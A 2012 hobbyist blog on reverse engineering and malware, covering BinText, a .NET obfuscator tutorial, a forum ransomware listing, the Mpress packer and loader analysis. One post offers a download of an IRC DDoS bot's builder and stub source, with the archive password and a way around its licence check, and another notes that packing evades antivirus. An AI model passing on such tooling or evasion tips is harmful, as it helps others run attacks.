lördag 8 december 2012

Tool BinText from McAfee

Bintext qouted from McAfee website,

A small, very fast and powerful text extractor that will be of particular interest to programmers. It can extract text from any kind of file and includes the ability to find plain ASCII text, Unicode (double byte ANSI) text and Resource strings, providing useful information for each item in the optional "advanced" view mode. Its comprehensive filtering helps prevent unwanted text being listed. The gathered list can be searched and saved to a separate file as either a plain text file or in informative tabular format.

Download BinText here http://www.mcafee.com/uk/downloads/free-tools/bintext.aspx.


I have censor-ed the path to the file, since  the path to file else would contain my online nick.

a other notice the bot i Ounk, will share it later beside that u can actually see  it copy it self to P2P sharing folder, as well adding it self to startup :)

Have a nice day.

tisdag 4 december 2012

Creating a Obfuscater using Mono.Cecil [C#]

Short tutorial in two parts how to make a obfuscater for .net, using Mono Cecil and C#. We will use .net 4.0 for the GUI but 3.5 will be fine as well. Mono.Cecil use .net 3.5, the first part will be GUI and second part the 'code'.

 It will have the following feature
 -Drag and Drop, very friendly and easy to use.
 - Some misc feature.
 -Some picture boxes
 -And a menu stripe.

 I am aware that my tutorial about unpacking and packing .net assembly is not done. I lost the sample i had in mind using and will wait until i find a new fresh sample.

 Now back on topic, for the GUI i will use Winform since i know that pretty well compare to WPF. Open Visual Studio express, new project choose Windows Application Form. I will name it MonoObfuscater then a empty Winform should show up. Go to Properties disable the Maximizes Button. Since the Form will be pretty small and not look very good using full screen better off disabling that.

Now we add a Menu Stripe and add one label we change it text to 'About'. If the user click it the idea is that it should popup a second form with some information.

Below that we add two picture box, one for drag and drop and the other will be for user that don't like drag and drop and prefer a open FileDialog. Inside them i  choose a blue icon for drag and drop and a green for filedialog.

The Form should ate this moment look like something like this, next we will add code for the green one double click the green picture box and add the following.



Notice that we don't check extension that user choose .exe, This is think you can add later to improve but as off now we want forward.

Drag and Drop

Now we will focus on the drag and drop part,  We will use Event and that pretty easy and  use full.
Even is some thing that tricked under a special condition. We need to add two event doing that by 
selecting the other picture box and right click properties  click the yellow lighting icon and scroll down to DragDrop and DragEnter, in the empty text field double click.  Now Do that for both DragEnter and DragDrop. Once inside "MainForm" viewing the code scroll to 
public FromName()
{
InitializeComponent();
}
Inside that we add the following, this make the form allow drop and event handler for drag and drop.

Now add the following code, this will handle the drag and drop it self.




Misc notice i most off the time use iconspedia for icon's and below are links to the icon i use.
Make sure you download them as '.png'.
http://www.iconspedia.com/icon/inbox-green-icon-34984.html
http://www.iconspedia.com/icon/inbox-blue-icon-34983.html
 And thanks to doublejdesign.co.uk for the icon's :).


fredag 30 november 2012

Rouge - Ransomware v 2.1 preview/misc

Found this today, a  member made a ransomware and trying to sell it. Looks very basic and have no panel either, payment are build in the ransomware. No landing page threading with law suit and so one.
If you scroll down a little there is a youtube video the author made.

Quick analyse the ransomware accept Paypal and Liberty Reversed.
Paypal is not a good idea i think since they are very global and world video.
Liberty reversed are growing as well, most common so far i know is ukash.

Another essential part for Ransomware is being hard to remove and evade detection and removal.
Etc most user do have a Anti virus, but also prevent user from removing it them self.







That's all so far, i hope i can get my hand one a bin our two pretty soon. Maybe a "test" copy our something :) Edit: found out that it's made in visual basic 6 omg most i have heard off and seen are made in c++ our other more pure native langauge :D.

Unpack Mpress + sample [.NET]

Hello and i hope that you will enjoy this post :), I am also working one a few project i will share later. Now pack to topic, today i will talk about packer. There are a few packer, such as upx and mpress. We will focus since it support .net and upx does not.


 A packer, do the following taking the PE/APP (PE = Portable Executable). And use a compression methood such as gzip,zip our equal.And store the orginal application / .dll as resource. During runtime the Application is decompressed and executed. This is have the following inpact, it lower the since and can be used to bypass Anit Virus solution since the file it self compressed does not contain in most case any bad "data".  How ever it's not fail and can easily be unpacked, just doing the decompression but with out executing the PE.

To be continue, as soon i have more spare time :3




 MPRESS website: http://www.matcode.com/mpress.htm

onsdag 21 november 2012

Napalm Web Auth (Short Review)

Short post about Napalm Web Auth, not much to say ate this moment since it's still in beta.
OnForm Load it try to connect to host, and Check if when loaded contains "Napalm Web Auth"
After that we have the login it self pretty straight forward And Finally the cheese it self once logged in, It Download the program which turn out to be a .dll, as byte[] And invoke it with entry point as "EntryPoint" and Namespace as "NWA_Server.NWA" :) Have a nice day and if there are any thing incorrect i am still learning.

How to Get MD5 checksum off file in C# (Snippet)

Basic Application to get MD5 checksum off a program our file, i used the snippet from http://sharpertutorials.com/calculate-md5-checksum-file/, It use the following namespace


using System.Security.Cryptography;
using System.IO;


All i did was adding a openfile dialog, not much but :)

Download
http://www.sendspace.com/file/h85wfj

VirusTotal Scan (Off compiled Bin)
https://www.virustotal.com/file/a3eaacf713934157e63be6b0949f409148c59bc3875ff42a0686a24d45c5cc47/analysis/

måndag 19 november 2012

Hades DDOS bot (vb.net) source

Hades DDOS bot a simple IRC bot writen in visual Basic, i am sharing both builder and stub source.
I don't think any one will get far with this.

Any way path to builder '\DDoS Bot\HBuilder\bin\Release' builder is called HBuilder.exe.
Now if you are connect to internet and try starting it, it will fail since it connect to dropbox to check if your HWID match. To get around that in this case just disconnect from internet our reject connection.

Press Continue our Fortsätt in my case,
And the builder will show up.
Pretty simple :) ?


Now we will use ilspy just to check why the above works. When Form is loaded it check if our HWID is in a text file, by "calling" cAntiLeak.Check();



And in cAntiLeak we find this,


What makes it work by just disconnecting is that it it fail connecting it handle that using try catch. Download: http://www.sendspace.com/file/6k69bb Password for Archive is infected. And only for education usage, don't abuse. Have a nice day.